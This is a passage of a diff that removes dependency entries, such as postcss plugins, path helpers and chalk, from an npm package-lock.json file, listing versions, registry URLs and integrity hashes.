"sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "cosmiconfig": { - "version": "5.0.5", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.0.5.tgz", - "integrity": "sha512-94j37OtvxS5w7qr7Ta6dt67tWdnOxigBVN4VnSxNXFez9o18PGQ0D33SchKP17r9LAcWVTYV72G6vDayAUBFIg==", - "dev": true, - "requires": { - "is-directory": "^0.3.1", - "js-yaml": "^3.9.0", - "parse-json": "^4.0.0" - } - }, - "cssnano": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-4.0.5.tgz", - "integrity": "sha512-P2O0sz/YAAzqZVsSWOrbliPCr0c6abwVNQmFZ48AgejN/GbzwEf6IVFGQAj0UKHC+crv60wUAPQocAnDmeWlkg==", - "dev": true, - "requires": { - "cosmiconfig": "^5.0.0", - "cssnano-preset-default": "^4.0.0", - "is-resolvable": "^1.0.0", - "postcss": "^6.0.0" - } - }, - "esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "js-yaml": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz", - "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", - "dev": true, - "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - } - }, - "parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", - "integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=", - "dev": true, - "requires": { - "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1" - } - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "optionator": { - "version": "0.8.2", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.2.tgz", - "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", - "dev": true, - "requires": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.4", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "wordwrap": "~1.0.0" - } - }, - "os-browserify": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", - "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", - "dev": true - }, - "os-homedir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true - }, - "os-locale": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", - "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", - "dev": true, - "requires": { - "lcid": "^1.0.0" - } - }, - "os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true - }, - "osenv": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", - "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", - "dev": true, - "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" - } - }, - "outpipe": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/outpipe/-/outpipe-1.1.1.tgz", - "integrity": "sha1-UM+GFjZeh+Ax4ppeyTOaPaRyX6I=", - "dev": true, - "requires": { - "shell-quote": "^1.4.2" - } - }, - "output-file-sync": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/output-file-sync/-/output-file-sync-1.1.2.tgz", - "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.4", - "mkdirp": "^0.5.1", - "object-assign": "^4.1.0" - } - }, - "p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true - }, - "p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", - "dev": true, - "requires": { - "p-try": "^1.0.0" - } - }, - "p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "dev": true, - "requires": { - "p-limit": "^1.1.0" - } - }, - "p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true - }, - "pako": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.6.tgz", - "integrity": "sha512-lQe48YPsMJAig+yngZ87Lus+NF+3mtu7DVOBu6b/gHO1YpKwIj5AWjZ/TOS7i46HD/UixzWb1zeWDZfGZ3iYcg==", - "dev": true - }, - "parallel-transform": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.1.0.tgz", - "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", - "dev": true, - "requires": { - "cyclist": "~0.2.2", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - } - }, - "parents": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parents/-/parents-1.0.1.tgz", - "integrity": "sha1-/t1NK/GTp3dF/nHjcdc8MwfZx1E=", - "dev": true, - "requires": { - "path-platform": "~0.11.15" - } - }, - "parse-asn1": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.0.tgz", - "integrity": "sha1-N8T5t+06tlx0gXtfJICTf7+XxxI=", - "dev": true, - "requires": { - "asn1.js": "^4.0.0", - "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3" - } - }, - "parse-function": { - "version": "5.2.11", - "resolved": "https://registry.npmjs.org/parse-function/-/parse-function-5.2.11.tgz", - "integrity": "sha512-2nQChgTKz80awFjQqs93ZzgQPOykT+BXomHUfwMdIben3PT2uohAPot+h5D+PNa0T+odzjuMZUMOoCyJfnej1Q==", - "dev": true, - "requires": { - "arrify": "1.0.1", - "babylon": "7.0.0-beta.47", - "define-property": "2.0.2" - }, - "dependencies": { - "babylon": { - "version": "7.0.0-beta.47", - "resolved": "https://registry.npmjs.org/babylon/-/babylon-7.0.0-beta.47.tgz", - "integrity": "sha512-+rq2cr4GDhtToEzKFD6KZZMDBXhjFAr9JjPw9pAppZACeEWqNM294j+NdBzkSHYXwzzBmVjZ3nEVJlOhbR2gOQ==", - "dev": true - } - } - }, - "parse-glob": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", - "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", - "dev": true, - "requires": { - "glob-base": "^0.3.0", - "is-dotfile": "^1.0.0", - "is-extglob": "^1.0.0", - "is-glob": "^2.0.0" - } - }, - "parse-json": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", - "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, - "requires": { - "error-ex": "^1.2.0" - } - }, - "partialify": { - "version": "3.1.6", - "resolved": "https://registry.npmjs.org/partialify/-/partialify-3.1.6.tgz", - "integrity": "sha1-f0QPHe6SqFVT9YTgK9koBXA0fRg=", - "dev": true, - "requires": { - "string-to-js": "0.0.1", - "through": "^2.3.4" - } - }, - "pascalcase": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", - "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", - "dev": true - }, - "path-browserify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.0.tgz", - "integrity": "sha1-oLhwcpquIUAFt9UDLsLLuw+0RRo=", - "dev": true - }, - "path-dirname": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", - "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", - "dev": true - }, - "path-exists": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", - "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", - "dev": true, - "requires": { - "pinkie-promise": "^2.0.0" - } - }, - "path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true - }, - "path-is-inside": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", - "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", - "dev": true - }, - "path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", - "dev": true - }, - "path-parse": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", - "dev": true - }, - "path-platform": { - "version": "0.11.15", - "resolved": "https://registry.npmjs.org/path-platform/-/path-platform-0.11.15.tgz", - "integrity": "sha1-6GQhf3TDaFDwhSt43Hv31KVyG/I=", - "dev": true - }, - "path-type": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", - "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" - } - }, - "pbkdf2": { - "version": "3.0.12", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.12.tgz", - "integrity": "sha1-vjZ4XFBn6kjYBv+SMojF91C2uKI=", - "dev": true, - "requires": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - } - }, - "performance-now": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true - }, - "picomatch": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", - "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", - "dev": true, - "optional": true - }, - "pify": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true - }, - "pinkie": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", - "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", - "dev": true - }, - "pinkie-promise": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", - "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", - "dev": true, - "requires": { - "pinkie": "^2.0.0" - } - }, - "pkg-dir": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz", - "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", - "dev": true, - "requires": { - "find-up": "^2.1.0" - }, - "dependencies": { - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } - } - } - }, - "pluralize": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", - "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==", - "dev": true - }, - "popper.js": { - "version": "1.14.4", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.14.4.tgz", - "integrity": "sha1-juwdj/AqWjoVLdQ0FKFce3n9abY=" - }, - "posix-character-classes": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", - "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", - "dev": true - }, - "postcss": { - "version": "5.2.18", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-5.2.18.tgz", - "integrity": "sha512-zrUjRRe1bpXKsX1qAJNJjqZViErVuyEkMTRrwu4ud4sbTtIBRmtaYDrHmcGgmrbsW3MHfmtIf+vJumgQn+PrXg==", - "dev": true, - "requires": { - "chalk": "^1.1.3", - "js-base64": "^2.1.9", - "source-map": "^0.5.6", - "supports-color": "^3.2.3" - }, - "dependencies": { - "supports-color": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", - "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", - "dev": true, - "requires": { - "has-flag": "^1.0.0" - } - } - } - }, - "postcss-calc": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-5.3.1.tgz", - "integrity": "sha1-d7rnypKK2FcW4v2kLyYb98HWW14=", - "dev": true, - "requires": { - "postcss": "^5.0.2", - "postcss-message-helpers": "^2.0.0", - "reduce-css-calc": "^1.2.6" - } - }, - "postcss-colormin": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-2.2.2.tgz", - "integrity": "sha1-ZjFBfV8OkJo9fsJrJMio0eT5bks=", - "dev": true, - "requires": { - "colormin": "^1.0.5", - "postcss": "^5.0.13", - "postcss-value-parser": "^3.2.3" - } - }, - "postcss-convert-values": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-2.6.1.tgz", - "integrity": "sha1-u9hZPFwf0uPRwyK7kl3K6Nrk1i0=", - "dev": true, - "requires": { - "postcss": "^5.0.11", - "postcss-value-parser": "^3.1.2" - } - }, - "postcss-discard-comments": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-2.0.4.tgz", - "integrity": "sha1-vv6J+v1bPazlzM5Rt2uBUUvgDj0=", - "dev": true, - "requires": { - "postcss": "^5.0.14" - } - }, - "postcss-discard-duplicates": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-2.1.0.tgz", - "integrity": "sha1-uavye4isGIFYpesSq8riAmO5GTI=", - "dev": true, - "requires": { - "postcss": "^5.0.4" - } - }, - "postcss-discard-empty": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-2.1.0.tgz", - "integrity": "sha1-0rS9nVztXr2Nyt52QMfXzX9PkrU=", - "dev": true, - "requires": { - "postcss": "^5.0.14" - } - }, - "postcss-discard-overridden": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-0.1.1.tgz", - "integrity": "sha1-ix6vVU9ob7KIzYdMVWZ7CqNmjVg=", - "dev": true, - "requires": { - "postcss": "^5.0.16" - } - }, - "postcss-discard-unused": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-discard-unused/-/postcss-discard-unused-2.2.3.tgz", - "integrity": "sha1-vOMLLMWR/8Y0Mitfs0ZLbZNPRDM=", - "dev": true, - "requires": { - "postcss": "^5.0.14", - "uniqs": "^2.0.0" - } - }, - "postcss-filter-plugins": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/postcss-filter-plugins/-/postcss-filter-plugins-2.0.3.tgz", - "integrity": "sha512-T53GVFsdinJhgwm7rg1BzbeBRomOg9y5MBVhGcsV0CxurUdVj1UlPdKtn7aqYA/c/QVkzKMjq2bSV5dKG5+AwQ==", - "dev": true, - "requires": { - "postcss": "^5.0.4" - } - }, - "postcss-load-config": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-1.2.0.tgz", - "integrity": "sha1-U56a/J3chiASHr+djDZz4M5Q0oo=", - "dev": true, - "requires": { - "cosmiconfig": "^2.1.0", - "object-assign": "^4.1.0", - "postcss-load-options": "^1.2.0", - "postcss-load-plugins": "^2.3.0" - } - }, - "postcss-load-options": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-load-options/-/postcss-load-options-1.2.0.tgz", - "integrity": "sha1-sJixVZ3awt8EvAuzdfmaXP4rbYw=", - "dev": true, - "requires": { - "cosmiconfig": "^2.1.0", - "object-assign": "^4.1.0" - } - }, - "postcss-load-plugins": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/postcss-load-plugins/-/postcss-load-plugins-2.3.0.tgz", - "integrity": "sha1-dFdoEWWZrKLwCfrUJrABdQSdjZI=", - "dev": true, - "requires": { - "cosmiconfig": "^2.1.1", - "object-assign": "^4.1.0" - } - }, - "postcss-merge-idents": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/postcss-merge-idents/-/postcss-merge-idents-2.1.7.tgz", - "integrity": "sha1-TFUwMTwI4dWzu/PSu8dH4njuonA=", - "dev": true, - "requires": { - "has": "^1.0.1", - "postcss": "^5.0.10", - "postcss-value-parser": "^3.1.1" - } - }, - "postcss-merge-longhand": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-2.0.2.tgz", - "integrity": "sha1-I9kM0Sewp3mUkVMyc5A0oaTz1lg=", - "dev": true, - "requires": { - "postcss": "^5.0.4" - } - }, - "postcss-merge-rules": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-2.1.2.tgz", - "integrity": "sha1-0d9d+qexrMO+VT8OnhDofGG19yE=", - "dev": true, - "requires": { - "browserslist": "^1.5.2", - "caniuse-api": "^1.5.2", - "postcss": "^5.0.4", - "postcss-selector-parser": "^2.2.2", - "vendors": "^1.0.0" - }, - "dependencies": { - "browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "dev": true, - "requires": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - } - } - } - }, - "postcss-message-helpers": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-message-helpers/-/postcss-message-helpers-2.0.0.tgz", - "integrity": "sha1-pPL0+rbk/gAvCu0ABHjN9S+bpg4=", - "dev": true - }, - "postcss-minify-font-values": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-1.0.5.tgz", - "integrity": "sha1-S1jttWZB66fIR0qzUmyv17vey2k=", - "dev": true, - "requires": { - "object-assign": "^4.0.1", - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.2" - } - }, - "postcss-minify-gradients": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-1.0.5.tgz", - "integrity": "sha1-Xb2hE3NwP4PPtKPqOIHY11/15uE=", - "dev": true, - "requires": { - "postcss": "^5.0.12", - "postcss-value-parser": "^3.3.0" - } - }, - "postcss-minify-params": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-1.2.2.tgz", - "integrity": "sha1-rSzgcTc7lDs9kwo/pZo1jCjW8fM=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.1", - "postcss": "^5.0.2", - "postcss-value-parser": "^3.0.2", - "uniqs": "^2.0.0" - } - }, - "postcss-minify-selectors": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-2.1.1.tgz", - "integrity": "sha1-ssapjAByz5G5MtGkllCBFDEXNb8=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.2", - "has": "^1.0.1", - "postcss": "^5.0.14", - "postcss-selector-parser": "^2.0.0" - } - }, - "postcss-modules-extract-imports": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-1.2.0.tgz", - "integrity": "sha1-ZhQOzs447wa/DT41XWm/WdFB6oU=", - "dev": true, - "requires": { - "postcss": "^6.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "postcss-modules-local-by-default": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-1.2.0.tgz", - "integrity": "sha1-99gMOYxaOT+nlkRmvRlQCn1hwGk=", - "dev": true, - "requires": { - "css-selector-tokenizer": "^0.7.0", - "postcss": "^6.0.1" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": 